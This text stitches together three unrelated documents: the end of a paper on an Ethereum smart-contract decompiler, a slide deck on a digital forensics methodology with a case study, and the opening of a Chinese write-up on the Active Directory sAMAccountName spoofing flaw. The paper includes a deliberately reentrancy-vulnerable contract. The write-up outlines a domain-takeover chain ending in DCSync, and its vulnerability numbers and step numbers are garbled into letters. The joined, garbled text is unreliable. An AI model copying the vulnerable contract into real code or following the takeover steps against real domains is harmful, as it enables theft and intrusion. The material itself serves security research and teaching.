PUSH1 24 15 0x00000017 57 JUMPI 16 17 loc_00000018: 18 0x00000018 80 DUP1 19 0x00000019 639d040af4 PUSH4 9d040af4 20 0x0000001e 14 EQ 21 0x0000001f 6035 PUSH1 35 22 0x00000021 57 JUMPI 23 24 loc_00000022: 25 0x00000022 5b JUMPDEST 26 0x00000023 00 STOP 27 28 double(uint256): 29 0x00000024 5b JUMPDEST 30 0x00000025 6045 PUSH1 45 31 0x00000027 6004 PUSH1 04 32 0x00000029 35 CALLDATALOAD 33 0x0000002a 6000 PUSH1 00 34 0x0000002c 604f PUSH1 4f 35 0x0000002e 82 DUP3 36 0x0000002f 6002 PUSH1 02 37 38 loc_00000031: 39 0x00000031 5b JUMPDEST 40 0x00000032 02 MUL 41 0x00000033 90 SWAP1 42 0x00000034 56 JUMP 17 43 triple(uint256): 44 0x00000035 5b JUMPDEST 45 0x00000036 6045 PUSH1 45 46 0x00000038 6004 PUSH1 04 47 0x0000003a 35 CALLDATALOAD 48 0x0000003b 6000 PUSH1 00 49 0x0000003d 604f PUSH1 4f 50 0x0000003f 82 DUP3 51 0x00000040 6003 PUSH1 03 52 0x00000042 6031 PUSH1 31 53 0x00000044 56 JUMP 54 55 loc_00000045: 56 0x00000045 5b JUMPDEST 57 0x00000046 6060 PUSH1 60 58 0x00000048 90 SWAP1 59 0x00000049 81 DUP2 60 0x0000004a 52 MSTORE 61 0x0000004b 6020 PUSH1 20 62 0x0000004d 90 SWAP1 63 0x0000004e f3 RETURN 64 65 loc_0000004f: 66 0x0000004f 5b JUMPDEST 67 0x00000050 92 SWAP3 68 0x00000051 91 SWAP2 69 0x00000052 50 POP 70 0x00000053 50 POP 71 0x00000054 56 JUMP Listing 16: Runtime Bytecode Porosity Disassembly First, the dispatcher reads the 4 bytes function hash from the envi- ronment block by calling calldataload(0x0) / exp(0x2, 0xe0) . Since the CALLDATALOAD instruction reads a 256-bit integer by default, therefore it is followed by a division to filter the first 32-bits out. 18 1 (0x12345678aaaaaaaabbbbbbbbccccccccdddddddd000000000000000000000000 / 2 0x0000000100000000000000000000000000000000000000000000000000000000) 3 = 0x12345678 Listing 17: dispdisasm We can try and emulate the code using the EVM emulator or using poros- ity as long as Ethereum is used in the following manner as illustrated in listing 18. 1 PS C:\Program Files\Geth> .\evm.exe \ 2 --code 60e060020a6000350463deadbabe \ 3 --debug \ 4 --input 12345678aaaaaaaabbbbbbbbccccccccdddddddd 5 PC 00000014: STOP GAS: 9999999920 COST: 0 6 STACK = 2 7 0000: 00000000000000000000000000000000000000000000000000000000deadbabe 8 0001: 0000000000000000000000000000000000000000000000000000000012345678 9 MEM = 0 10 STORAGE = 0 Listing 18: EVM Emulator We can notice there are two PUSH4 instructions that corresponds to the function hashes we previously computed. In the above scenario the equivalent EVM code would translate to the pseudo-code jumpi(eq(calldataload(0x0) / exp(0x2, 0xe0), 0xeee97206)) . Us- ing Control Flow Graph (CFG) feature of Porosity, we can generate a static CFG or a dynamic CFG. Both graphs will be generated in GraphViz format. Static CFG often contains orphan basic blocks, due to the fact that some destination addresses are computed at runtime. While the dynamic CFG resolves those orphan basic blocks by emulating the code as we can see in the output of both fig. 1 and fig. 2. 19 Figure 1: Static CFG Figure 2: Enulated CFG This helps us to translate such graph to the following pseudo like C code, as shown in listing 19. 1 hash = calldataload(0x0) / exp(0x2, 0xe0); 2 switch (hash) { 3 case 0xeee97206: // double(uint256) 4 memory[0x60] = calldataload(0x4) * 2; 5 return memory[0x60]; 6 break; 7 case 0xf40a049d: // triple(uint256) 8 memory[0x60] = calldataload(0x4) * 3; 9 return memory[0x60]; 10 break; 11 default: 12 // STOP 13 break; 14 } Listing 19: Static/Dynamic Graph Pseudo-C Code As we can notice from the above pseudo code. Each runtime code has a dispatcher for each user-defined function. Once it is decompiled we get the following output shown in listing 20. 20 1 contract C { 2 function double(int arg_4) { 3 return arg_4 * 2; 4 } 5 6 function triple(int arg_4) { 7 return arg_4 * 3; 8 } 9 } Listing 20: Decompiled Pseudo-C code 7 Code Analysis 7.1 Vulnerable Contract Let’s take a simple vulnerable smart contract such as the one shown in list- ing 21. The detailed analysis of the vulnerability has already been published by Abhiroop Sarkar in his blog and can be thoroughly read there. 21 7.1.1 Solidity source code 1 contract SendBalance { 2 mapping ( address => uint ) userBalances ; 3 bool withdrawn = false ; 4 5 function getBalance (address u) constant returns ( uint ){ 6 return userBalances [u]; 7 } 8 9 function addToBalance () { 10 userBalances[msg.sender] += msg.value ; 11 } 12 13 function withdrawBalance (){ 14 if (!(msg.sender.call.value ( 15 userBalances [msg . sender ])())) { throw ; } 16 userBalances [msg.sender ] = 0; 17 } 18 } Listing 21: Vulnerable Smart Contract 22 7.1.2 Runtime Bytecode 1 60606040526000357c01000000000000000000000000000000 \ 2 00000000000000000000000000900480635fd8c7101461004f \ 3 578063c0e317fb1461005e578063f8b2cb4f1461006d576100 \ 4 4d565b005b61005c6004805050610099565b005b61006b6004 \ 5 80505061013e565b005b610083600480803590602001909190 \ 6 505061017d565b604051808281526020019150506040518091 \ 7 0390f35b3373ffffffffffffffffffffffffffffffffffffff \ 8 ff16600060005060003373ffffffffffffffffffffffffffff \ 9 ffffffffffff16815260200190815260200160002060005054 \ 10 60405180905060006040518083038185876185025a03f19250 \ 11 5050151561010657610002565b6000600060005060003373ff \ 12 ffffffffffffffffffffffffffffffffffffff168152602001 \ 13 908152602001600020600050819055505b565b346000600050 \ 14 60003373ffffffffffffffffffffffffffffffffffffffff16 \ 15 81526020019081526020016000206000828282505401925050 \ 16 819055505b565b6000600060005060008373ffffffffffffff \ 17 ffffffffffffffffffffffffff168152602001908152602001 \ 18 6000206000505490506101b6565b91905056 Listing 22: Vulnerable Smart Contract Runtime Bytecode 23 7.1.3 ABI Definition 1 [ 2 { 3 "constant": false, 4 "inputs": [], 5 "name": "withdrawBalance", 6 "outputs": [], 7 "type": "function" 8 }, 9 { 10 "constant": false, 11 "inputs": [], 12 "name": "addToBalance", 13 "outputs": [], 14 "type": "function" 15 }, 16 { 17 "constant": true, 18 "inputs": [ 19 { 20 "name": "u", 21 "type": "address" 22 } 23 ], 24 "name": "getBalance", 25 "outputs": [ 26 { 27 "name": "", 28 "type": "uint256" 29 } 30 ], 31 "type": "function" 32 } 33 ] Listing 23: Vulnerable Smart Contract ABI Definition 24 7.1.4 Decompiled version 1 function getBalance(address) { 2 return store[arg_4]; 3 } 4 5 function addToBalance() { 6 store[msg.sender] = store[msg.sender]; 7 return; 8 } 9 10 function withdrawBalance() { 11 if (msg.sender.call.value(store[msg.sender])()) { 12 store[msg.sender] = 0x0; 13 } 14 } 15 16 **L12 (D8193): Potential reentrant vulnerability found.** Listing 24: Vulnerable Smart Contract Decompilation 8 Bugs Keeping an eye on Solidity Compiler Bugs is one of the important notes one would consider. 8.1 Reentrant Vulnerability / Race Condition Also known as the DAO vulnerability. similar to the SendBalance contract from above. In the meantime significant changes have been made to the EVM which includes the introduction of a REVERT instruction to restore a given state. An excerpt of the explanation is as follows: call the function to execute a split before that withdrawal finishes. The function will start running without updating your balance, and the line we marked above as ”the attacker wants to run more than once” will run more than once. 25 8.2 Call Stack Vulnerability Call stack attack, explained by Least Authority[14] takes advantage of the fact that a CALL operation will fail if it causes the stack depth to exceed 1024 frames. Which happens to also be the current limit of the stack as previously described earlier. It will ultimately fail and not cause an exception. Unlike stack underflow which happens when frames are not present on the stack during the invocation of a specific instruction. This is a known problem that indicates an error instead of reverting back to the state to the caller. There are often a lack of assert checks in Solidity contracts, due to the poor support for actual unit testing. Given the special condition requiring to trigger this problem, which is an environment specific problem then we cannot easily spot it through static analysis. One potential mitigation would be for the EVM to implement integrity checks before executing a contract that would ensure the state of the stack, and the depth required by the contract (computed either dynamically or statically by the compiler) are met. 8.3 Time Dependance Vulnerability TIMESTAMP returns the current blockchain timestamp and should not be used. As the timestamp of the block can be predicted or manipulated by the miner, which is something that the developers must keep in mind when implementing routines that depend on such variable. Because of this, developers must be extremely careful with time dependency. This was well explained by the case study from @mhswende with the Ethereum Roulette[12] that shows how an implementation of Ethereum Roulette was abused. 9 Future As contracts are embedded in blockchain, there is no easy way to deploy updates to patch existing contracts like we would do with any regular soft- ware. This is an implementation limitation to understand. Regular softwares development has seen the integration and the raise of Security Development Lifecycle (SDL) as part of its development lifecycle, this is a process which has became increasingly popular that also includes models such as threat modeling which has yet to be seen within the smart-contract World regard- less of the platform itself. 26 There is also a growing community that aims at raising awareness for writing secure solidity code, such as the ”Underhanded Solidity Coding Con- test” [15] announced early July for the first time that aims at judging code containing hidden vulnerabilities that can be interpreted as backdoors. Such vulnerabilities/backdoors that aren’t obvious during the code auditing pro- cess, and can easily be misinterpreted and dismissed as coder error(s). USCC first contest is around the theme of Initial Coins O↵ering (ICOs), and includes Solidity Lead Developer, Christian Reitwiessner, in its jury. In addition of that, some forks such as Quorum [16] are rising interest by adding an privacy layer on top of the smart-contract blockchain, often required and currently missing with the actual Ethereum implementation. 10 Acknowledgments Mohamed Saher Halvar Flake DEFCON Review Board Team Max Vorobjov & Andrey Bazhan Gavin Wood Andreas Olofsson 27 References [1] Suiche, Matt. ”Porosity: Ethereum Smart-Contract Decompiler” N.p., n.d. Web. https://github.com/comaeio/porosity [2] Woods, Gavin. ”Ethereum: A Secure Decentralised Generalised Transac- tion Ledger.” N.p., n.d. Web. https://github.com/ethereum/yellowpaper. [3] Olofsson, Andreas. ”Solidity Workshop.” N.p., n.d. Web. https://github.com/androlo/solidity-workshop. [4] Olofsson, Andreas. ”Solidity Contracts.” N.p., n.d. Web. https://github.com/androlo/standard-contracts. [5] Velner, Yarn, Jason Teutsch, and Loi Luu. ”Smart Con- tracts Make Bitcoin Mining Pools Vulnerable.” N.p., n.d. Web. https://eprint.iacr.org/2017/230.pdf. [6] Luu, Loi, Duc-Hiep Chu, Hrishi Olickel, Aquinas Hobor. ”Making Smart Contracts Smarter.” N.p., n.d. Web. https://www.comp.nus.edu.sg/%7 Ehobor/Publications/2016/Making%20Smart%20Contracts%20Smarter. pdf. [7] Atzei, Nicola, Massimo Bartoletti, and Tiziana Cimoli. ” A Sur- vey of Attacks on Ethereum Smart Contracts.” N.p., n.d. Web. https://eprint.iacr.org/2016/1007.pdf. [8] Sarkar, Abhiroop. ”Understanding the Transactional Nature of Smart Contracts.” N.p., n.d. Web. https://abhiroop.github.io/Exceptions-and- Transactions. [9] Siegel, David. ”Understanding The DAO Attack.” N.p., n.d. Web. http://www.coindesk.com/understanding-dao-hack-journalists. [10] Blockchain software for asset management. ”OYENTE: An Analysis Tool for Smart Contracts.” N.p., n.d. Web. https://github.com/melonproject/oyente. [11] Holst Swende, Martin. ”Devcon1 and Ethereum Contract Security.” N.p., n.d. Web. http://martin.swende.se/blog/Devcon1-and-contract- security.html. 28 [12] Holst Swende, Martin. ”Breaking the House”, N.p.,n.d. Web. http://martin.swende.se/blog/Breaking the house.html. [13] Buterin, Vitalik. ”Thinking About Smart Contract Security.” N.p., n.d. Web. https://blog.ethereum.org/2016/06/19/thinking-smart- contract-security. [14] Least Authority. ”Gas Economics: Call Stack Depth Limit Er- rors.” N.p., n.d. Web. https://github.com/LeastAuthority/ethereum- analyses/blob/master/GasEcon.md#callstack-depth-limit-errors. [15] Underhanded Solidity Coding Contest, Web. http://u.solidity.cc/. [16] Quorum. ”A permissioned implementation of Ethereum supporting data privacy.” https://github.com/jpmorganchase/quorum 29
pdf
A New Approach to Digital Forensic Methodology And !!BUSTED!! Case studies David C. Smith Samuel Petreski Introductions • David C. Smith, Georgetown University, & HCP Forensic Services – David works as the CSO for Georgetown University and a co-owner of HCP Forensic Services providing information security programs, digital forensics, and expert witness testimony. He has been in the technical field for over 20 years and enjoys engaging in complex technical problems. • Samuel Petreski, Georgetown University – Samuel Petreski works as a Senior Security Analyst for Georgetown University and an owner of Remote IT Consulting. Samuel has worked mostly in higher-ed focusing on network architecture and administration, as well as building and administering scalable network security solutions. He possesses over 10 years of experience in the IT field working in very diverse environments. The IDEA • Read “Mapping Process of Digital Forensic Investigation Frameworks” – Selamat, Yusof, and Sahib [IJCSNS Vol 8 No 10, Oct 2008] • Thought: Lots of methodologies out there, but none were what I “taught” or saw as issues when running a forensic team. • Why not make my processes and methods into a new, practical methodology? Mapping Process of Digital Forensic Investigation Framework Mapping Process of Digital Forensic Investigation Framework, Selamat, Yusof, Sahib, 2008 Typical Digital Investigation Methodologies • Most frameworks cover the range from acquisition to reporting • Such as: – Obtaining authorization for investigations – Determining evidence locations – Determining and validating techniques to find and interpret significant data – Summarize and provide explanation of conclusions What is a Digital Forensic Methodology? DOJ Methodology (1) DOJ Methodology (2) Stages / Processes / Phases • There are some really good methodologies out there • Integrated Digital Investigation process (IDIP), Digital Forensic Research Workshop (DFRWS) – Identification, preservation, examination, analysis, presentation, and decision • Enhanced IDIP includes a “Dynamite” Phase Integrated Digital Investigation Process, Carrier & Spafford, 2003 Enhanced Integrated Digital Investigation Process, Baryamureeba & Tushabe, 2004 Introduction to the “Problem” • Problems with learning and performing digital Forensic Investigations – Open solution set, many ways to find or approximate the “answer” – A lot of self-teaching & “sit and do it” – Patience, learning to “stay on target”, and having to learn new techniques while performing an investigation • All of these things improve over time as an analyst gains experience Open Solution Set • Last cup of coffee[1] – You arrive in the break room and find 5 individuals drinking coffee and the pot empty. You want to determine who drank the last cup. – How many ways can you determine who drank the last cup? [1] B. Carrier, A Brief Introduction To the Computer History Model, 2008 Determine Who Drank the Last Cup! • Measure the amount of coffee in each cup • Measure temperature of each coffee • Measure strength of each coffee (stronger on bottom of pot?) • Amount of coffee grounds in each cup • Interview individuals, analysis for truthfulness • Interview group, analysis for truthfulness • Develop timeline for coffee drinkers (internal and external) • Measure the temperature of the cup (heat loss) vs. the temperature of the coffee Who Drank the Last Cup! • A little off the wall… – Gain a history of known and previous convicted last cup takers – Coffee on breath – Offer reward to rat them out! – Dust for the fresh fingerprints – Are there cameras in break room? Hallways? – Interview of last trip to the bathroom, hold everyone until they have to go The Point is • Is there a combination of methods that produces a higher probability answer? • To be efficient the investigator needs to choose the optimal method(s) to draw conclusions • This is what experts in the field do from experience and instinct Thought Experiment • 3 digital forensic analysts of different skill levels are give an identical assignment – Allowed to interact with requestor – Requested to develop an estimate of time – Off they go… – Performance based on total findings, time to process, and estimation of time. • Based on the way we do things now, what results could we expect? Thought Experiment (2) • What if we limited it to 20 hours? – Reduced findings? – More varied results? • What about 8 hours? – Partial results? – Experts only? Questions • In the ANALYSIS phase of your favorite comprehensive digital forensics methodology – How do we do a better job of maximizing our time with the requester? – How do we do a better job of estimating the time it takes to solve open solution set problems? – How do we optimize the methods we use to develop conclusions for the case goals? – Can we achieve consistent results in the field? Smith-Petreski Methodology • SPM Details – Developed for the analysis phase of digital investigations – Organized by the classification of case types – Development of goals by case type – Evaluation and quantification of methods to determine optimal paths – Implementation of a time management framework. – Part expert system with processes to better develop case goals, identify ideal methods, and set time goals Smith-Petreski Methodology (2) • Methodology Goals – Better development of pre-analysis information – Achieve better estimation of investigation required – Optimize time to achieve case goals – Provide more consistent results from teams of digital forensic investigators – Provide a framework to predict analysis time, resources, and costs Introduction to the Methodology • Three Components – Pre-analysis • Defined case types with in-depth descriptions, common cases goals, typical goals for each case type, and case type requirements – Analysis • Selection of optimal methods to achieve case goals – Structured time management • Recommended allocation of time based on methods, case time given, and allows for the re-evaluation of methods based on results Pre-Analysis • Two basic request methods – Meet with the requester • Determination of what the requester wants or believes to want • Opportunity to fine-tune the agreed upon goals – Request form based • Less interaction means more detailed forms or requests • Larger shops typically require more complex procedures and processes to maintain the same value in digital forensic analysis Pre-Analysis (2) • Sources of case goals – Direct and derive case goals from the initial request • Find out how this machine was compromised (requester) • Determine what the attacker did (analyst) – Common goals based on case time • Determine the vulnerability or exploit; use this information to identify what other systems may be compromised or at risk – Case goals generated by analyst • Could be anything, but an example is that the attacker searched for “Star Wars Systems,” so a follow-up case goal would be to identify documents related to “Star Wars Systems” Pre-Analysis (3) • SPM also includes a structure to determine what information should be collected during requester meeting based upon the case type – Required information • Hard drive of compromised workstation • Logs from other systems – Beneficial information • Network packet captures • Known vulnerabilities Pre-Analysis (4) • Improved guidance for estimating processing time based upon the case goals and type – The primary data points are case size, skill level of examiner, and resources available. – Our determination for the case type “Malicious Activity” with fairly standard goals is 4.2 methods with a 20% overhead of total time • Again, we consider this to be consistent with internal dialog that experts use in the field – I can normally solve this case type using methods w,x,y and sometimes z, but I need 4 hours to import, 16 hours to process, and 2 hours for reporting – plus some buffer… Case Goal Estimation Time • Generated by specific case type and the number of goals – Generated by case type and the number of case goal agreed upon • 1 to 3 goals, Malicious Activity case type, 12 hours + process time • 4-6 goals, Malicious Activity case type, 18 hours + process time – This tries to replicate expert internal dialog Analysis • Now it is time to sit in front of the computer with your tools… • Goal: Achieve case goals in an optimal time frame • Smith Petreski Index (SPI) is an algorithm to assist in determining method or methods with the highest probability of achieving case goals SPI Algorithm • SPI is generated using the following data points – Effectiveness, how likely will this method achieve your goal in a percentage – Level of effort / resources, estimated time to perform this method based on small, medium, large estimates – Compatibility of toolsets, the amount of time in minutes to adjust, purchase, or install the prerequisites for this method – Familiarity with method and toolset base on descriptions of novice, experienced, and expert (in this toolset) Smith Petreski Index (SPI) DataFields • For Methods – Short Description – Long Description – Base effectiveness to case goal (Novice, Experienced, Expert) – Analysis time in minutes for dataset size (small, med, large) – Machine time in minutes for dataset size (small, med, large) – Additional costs are “converted” to minutes to adjust methods that require a purchase, additional set-up time, or resources • From this SPI and total time are derived Goal of Generating SPI • Choosing methods that produce the “best bang for the buck” to solve case goals • We’ve developed software to provide the hard values, estimates, initial method sets, and to generate the SPI • What we mean by “methods” – Specifically not tool based – Description such as “Generate Web Histories” – We don’t want to lock in to specific tools or operating systems SPI Algorithm • Probability based – Measures effectiveness of a method balanced against how long it takes execute that method in terms of both person and machine time, as well as additional costs. – Function • f(x) = log2(1/1-effectiveness) * Inflator – (machineTime + 2 * personTime + 1.5 * additionalCost) – Excel / Open Office / Google Apps • =LOG((1/(1-effectiveness)),2)*1000- ((machineTime)+(2*(personTime))+(1.5*additionalCost)) Couldn’t address everything with SPI • Additional considerations –Willingness and ability to purchase additional tools –Specific expertise and skills of the analyst • A scripting heavy method may be more effective for an expert scripter than the SPI predicts –Type of environments needed for specific methods • Such as mobile examination or a windows only shop SPI vs. Expert • Again, the expert has experience with success and failures of methods, missed deadlines, and empirical data on the processing time required for various methods. • Determining the “best bang for the buck” has become second nature • Already has an intuitive understanding of the best methods for the specific case goals Framework for Structured Analysis Time • Two factors in time estimation component of SPI: – Data size, e.g. web history small is under 1000 relevant records @ 1 hour – Skill level, with a choice of novice, experienced, and expert for each method • Provides the ability to budget time based on expected results – If time exceeds the estimate by 20%, then this should force a revaluation of the method used. • Provides a systematic time management strategy unique to the case Case Studies using SPM • You’ve made it past the dry methodology, so hopefully this is more entertaining • Case studies are made up of real cases, sanitized and cleared by our lawyers • Should represent the value of SPM as we walk through the phases of the case Intellectual Property • Case Background – Employee left and started a competing business – Employee hire dates and “last date” – Employee was assigned workstation • Case Type – Intellectual Property case type includes analysis of systems, media, and network traffic for the use and misuse of proprietary data and is usually associated to the identification and verifications of documents, ideas, and concepts of the requesting organization. While it is not the analyst’s responsibility to interpret laws that determine unfair business practices or the violation of regulations, the analyst may be required to make the associations of proprietary information and derivative work. This case type typically includes keyword searches for key terms, system use analysis, and discovery of method that may have been used to transfer information. Intellectual property case types can also include external sources in conjunction with protective orders and analysis of similar work products that may be derivative of other work. Meeting with Requester • Initial Meeting – Requester wants to know if any business protected information was taken • Specifically contacts and vendor lists • SPM Common Case Goals for Intellectual Property – Identification of specific documents – Identification of specific parts of documents – Identification of system use based around documents or time – Identification of external transfer methods, such as USB drives or network uploading. – Identification of documents based on keyword searches for ideas, concepts, and known terms – Validation and opinion of derivative work Agreement of Goals – Agreement of goals • Emails to and from identified contacts or mail domains • Identification of USB devices that have attached to the system • Identify system usage for selected time periods – Link files, registry files, timelines of use • Locate all copies of selected documents – Both full copies and selected parts of documents • Identify documents based on keywords – Keywords provided by requester Analyst’s Potential Additional Goals • Extract instant message logs • Recover deleted files • Memory Analysis • Convert identified persons of interest into common usernames (instant massage, personal email account, etc) Case Information • Based on Case Goals – Required information • Keywords / mail domains for email analysis • Keywords for document identification • Documents to be located • Copies of documents to be searched for • System Images – Beneficial Information • Full case background or timeline of events • Work-product names / external associated names • Specific dates and times Pre-Analysis Time Estimation • 5 Goals, removing some duplication – Email analysis – Registry analysis – Identification of files – Extract files for analysis, recover delete files – Identify system usage • Pre-analysis estimate of 28.5 hours required Common Methods – Intellectual Property Common Methods include • Hash files for matches • Fuzzy hash for partial matches • Extract files from container files • Extract mail • Registry analysis for system usage • Registry timeline • System usage timeline (super timeline, log files) • USB analysis • Network PCAP analysis • Extract metadata • Recover deleted files • Keyword index and analysis • Extract IM • OCR graphic formats for text indexing Methods to Goals IP Case • Case Goals -> Methods – Extraction of emails for analysis • SPI: 3,222 estimated time 80 minutes – Hash files for identification and location • SPI: 2,457 estimated time 260 minutes – Fuzzy Hash files for identification and location • SPI: 2,643 estimated time 280 minutes – Recover deleted files • SPI 3,052 estimated time 225 minutes Methods to Goals IP Case • Case Goals -> Methods – Identification of system usage • Registry analysis, SPI 2,707 @ est 45 minutes • Super Timeline Analysis, SPI 2,257 @ est 5 hours • Link File analysis, SPI 1,395 @ est 75 minutes • Web History analysis, SPI 2,527 @ est 115 minutes • Analysis of IM / Carve IM logs, SPI 1,410 @ est 60 minutes So, what did we find? • Hashing and filename search results as expected – Located the identified documents in emails, on internal and external drives, in LNK files, hits in registry for recent – Hash match lead to a zip file with the name “needed for XXXXXXXX.zip” – name of the new competitor – Fuzzy hashing found slightly altered copies, including copies with the new competitor’s name and letter head. This lead to directories that contained slightly changed to updated overhauls of company processes and procedures Email Extraction • Extracted and processed email was interesting – Used original keywords and associated names to develop a dictionary of all individuals associated, abbreviations of the new competitor, and locations from the email threads / IM logs / web mail – Developed a timeline that was amazing, from initial contact, follow-up, offer sent in FedEx, last- minute negotiations, discussions of exit strategies and how to approach difficult questions, and status of remaining days before the “last day” – Web mail artifacts included discussions of pros and cons with a significant other, purchase of equipment for a new home office on the negotiated “work from home day”. Deleted Files and Keywords • Processed deleted files and performed keyword searches. – Updated dictionary with IM usernames, personal email addresses, and associated derivatives – Mediocre free space results, it is always difficult for me to justify using free space either for searching or to corroborate results from other methods – Keyword documents did not generate any follow- up searches or additional analysis System Usage • Registry analysis usually has a great SPI! – Generated reports on all registries, including restore points. – Tons of supporting data for accessing files – Tied LNK files to USB drives, showed transfer to external USB keys • Super Timeline Analysis – Didn’t exist at the time, but would have a good SPI based on high effectiveness, more machine time than analyst time, and low cost. – We didn’t have that, so we broke out the sources that were most relevant and custom scripted a merge. System Usage (2) • Analyzed web history, recovered deleted histories, rendered HTML cache files. – Good approach because it showed a lot of activity not in the interest of the organization – A little porn… NOT little people porn! • Recovered IM chats and carved deleted chats – Great conversations trashing the organization, key individuals, and friends – Discussions of who to attempt to “take” to the new company Conclusions • Met all of the requester’s goals – Had defendable data and conclusions – Rechecked primary findings with multiple tools – Happy client, no follow-up required • Personal Conclusions – This guy fills out the ID10T forms in triplicate – Does he own a home PC? CCleaner? Eraser? – Truecrypt? Zip 8.0 AES encryption? Judging Your Performance • Feedback can be shaky sometimes, based on how well you found the answers that were wanted by the requester • I use the following metrics in weighted order – The number of follow-up questions from the data in your report, i.e. how well they understood your presentation of the findings – Number of goals the requester really wanted that you were unable to draw out of them – Amount of estimated time vs. total time (adjusted for unusual circumstances) – Total predicted value vs. actual value to the requester – Number of “wrong turns” or undisciplined searching Presentation Conclusions • Even if you don’t fully invest into the methodology, you will still gain from – Defining better case goals with your requester – Improved familiarity with common goals of your primary case types – Mentally organizing methods with a “best bang for the buck” mentality – Developing internal time management for reevaluation of your methods to achieve your case goals Questions • Q & A • Thanks to Kyle Davis, Mickey Lasky, Scott Moulton, and everyone else that contributed to the development of this methodology • David Smith – Email: [email protected] – Blog: http://dcinfosec.blogspot.com/ • Samuel Petreski – – Email: [email protected] Forensic Thoughts • I like building dictionaries of account names, email addresses, and additional keywords from examinations. – Allows an overall priority for additional searching – Reduces the temptation to get lost in unguided and unfocused searching • Keeping the case goals/SPI/common methods handy – I like to print them out and scribble status and notes as I go – Helps prevent case goal “over-kill” and optimize efforts • After a couple of cases that had reporting deadlines, I now include raw data as appendixes
pdf
1 sAMAccountName欺骗分析和复现 CVE-OLON-QOOVW - Name impersonation 分析 SamAccountName SAM-Account-Type userAccountControl UF_WORKSTATION_TRUST_ACCOUNT ( QLXT ) UF_SERVER_TRUST_ACCOUNT ( WNXO ) UF_NORMAL_ACCOUNT ( SNO ) UF_INTERDOMAIN_TRUST_ACCOUNT ( OLQW ) 利⽤ 创建机器账号 修改samAccountName 检测 总结 拓展 CVE-OLON-QOOWV - KDC bamboozling Kerberos简单概念 PAC特权属性证书 分析 利⽤ 检测 sAMAccountName欺骗漏洞复现 利⽤条件 域内打法 N.判断⼀下MAQ的值 O.判断是否打了KBSLLWPWL补丁 P.获取⼀下DC的机器账号: Q.创建⼀个机器账号 2 S.创建机器帐户的SPN: T.修改samaccountname V.GetTGT W.更改机器帐户 samaccountname X.请求 SQUOself 票证并注⼊内存 NL.使⽤该票证进⾏ DCSync ⼀键⼯具 nopac 域外攻击 N.创建⼀个机器账户 O.修改我们创建的机器账号的samAccountName值 P.GetTGT Q.重置机器的samAccountName值 S.GetST T. DCSync 林信任打法 MAQ=L的打法 本⽂仅限安全学习研究。本⼈能⼒有限和时间匆忙,如有错误请及时批评指出。 ---⽹空对抗中⼼李国聪(id:李⽊) CVE-2021-42278 - Name impersonation https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts- manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e Active Directory 将对由没有计算机帐户管理员权限的⽤户创建或修改的计算机帐户的 sAMAccountName和UserAccountControl属性执⾏下⾯列出的验证检查。 1.⽤户和计算机帐户的 sAMAccountType 验证 ObjectClass=计算机(或计算机的⼦类)帐户必须具有 UF_WORKSTATION_TRUST_ACCOUNT 或 UF_SERVER_TRUST_ACCOUNT 的 UserAccountControl 标志 3 在AD属性AMAccountName中,存储帐户登录名或⽤户对象,实际上是命名符号“Domain\LogonName ”中使⽤的旧NetBIOS表单,该属性是域⽤户对象的必需属性;⽽SAMAccountName应始终与UPN主体 名称保持⼀致,即SAMAccountName必须等于属性“UserPrincipalName” 的前缀部分。 与早期版本的Windows(pre-windows 2000)⼀起使⽤; ⽤户登录名格式:domain\user-name 不能超过20个字符; 在域中的所有安全主体对象中是唯⼀的; 例如: 域名:qax.com SamAccountName:qax NetBIOS登录名:qax.com\qax UserPrincipalName:[email protected] ObjectClass=⽤户必须具有 UF_NORMAL_ACCOUNT 或 UF_INTERDOMAIN_TRUST_ACCOUNT 的 UAC 标志 2.计算机帐户的 sAMAccountName 验证 其UserAccountControl属性包含 UF_WORKSTATION_TRUST_ACCOUNT 标志的计算机帐户的 sAMAccountName必须以单个美元符号 ($) 结尾。如果不满⾜这些条件,Active Directory 将返回失 败代码 0x523 ERROR_INVALID_ACCOUNTNAME。失败的验证记录在系统事件⽇志的 Directory- Services-SAM 事件 ID 16991 中。 如果不满⾜这些条件,Active Directory 将返回失败代码 ACCESS_DENIED。失败的验证记录在系统 事件⽇志的 Directory-Services-SAM 事件 ID 16990 中。 分析 SamAccountName ⽤于⽀持运⾏早期版本操作系统的客户端和服务器的登录名,例如 Windows NT 4.0、Windows 95、Windows 98 和 LAN Manager。 此属性必须少于 20 个字符,以⽀持早期客户端,并且不能包含以下任何字符: "/ \ [ ] : ; | = , + * ? < > https://docs.microsoft.com/zh-cn/windows/win32/adschema/a-samaccountname? redirectedfrom=MSDN 4 此属性指定 Active Directory 中安全主体对象的帐户类型。可以枚举帐户类型的列表,也可以使⽤显示 信息 API 来创建列表。 由于计算机、普通⽤户帐户和信任帐户还可以枚举为⽤户对象,因此这些帐户 的值必须是连续的范围。 它可以采⽤以下值: 例如: SAM-Account-Type SAM_DOMAIN_OBJECT 0x0 SAM_GROUP_OBJECT 0x10000000 SAM_NON_SECURITY_GROUP_OBJECT 0x10000001 SAM_ALIAS_OBJECT 0x20000000 SAM_NON_SECURITY_ALIAS_OBJECT 0x20000001 SAM_USER_OBJECT 0x30000000 SAM_MACHINE_ACCOUNT 0x30000001 SAM_TRUST_ACCOUNT 0x30000002 SAM_APP_BASIC_GROUP 0x40000000 SAM_APP_QUERY_GROUP 0x40000001 cn: SAM-Account-Type   ldapDisplayName: sAMAccountType   attributeId: 1.2.840.113556.1.4.302   attributeSyntax: 2.5.5.9   omSyntax: 2   isSingleValued: TRUE   schemaIdGuid: 6e7b626c-64f2-11d0-afd2-00c04fd930c9   5 Active Directory 属性userAccountControl包含⼀系列标志,这些标志定义了⽤户对象的⼀些重要基本 属性。这些标志还可⽤于请求或更改帐户的状态。 这个⽤户账户控制位表示这是域中普通计算机或成员服务器的机器账户。 该位表示这是⼀个域控制器帐户 该位表示这是⼀个普通⽤户帐户。将这种类型的帐户与其他类型的帐户区分开来是必要的,因为不仅⽤ 户对象具有 userAccountControl 属性,⽽且计算机对象和其他代表域控制器或信任关系的对象也具 有。 这个 userAccountControl 位表明这是⼀个代表与外部域的信任连接的帐户。通常,帐户名称是域的 NetBIOS 名称,末尾带有“$”。 那么我们可以反推出来: CVE-2021-42278漏洞我们可以⽤不是计算机帐户管理员权限的⽤户创建或修改的计算机帐户的 sAMAccountName和UserAccountControl属性。 可能漏洞点出在: systemOnly: FALSE   searchFlags: fATTINDEX   attributeSecurityGuid: 59ba2f42-79a2-11d0-9020-00c04fc2d3cf   isMemberOfPartialAttributeSet: 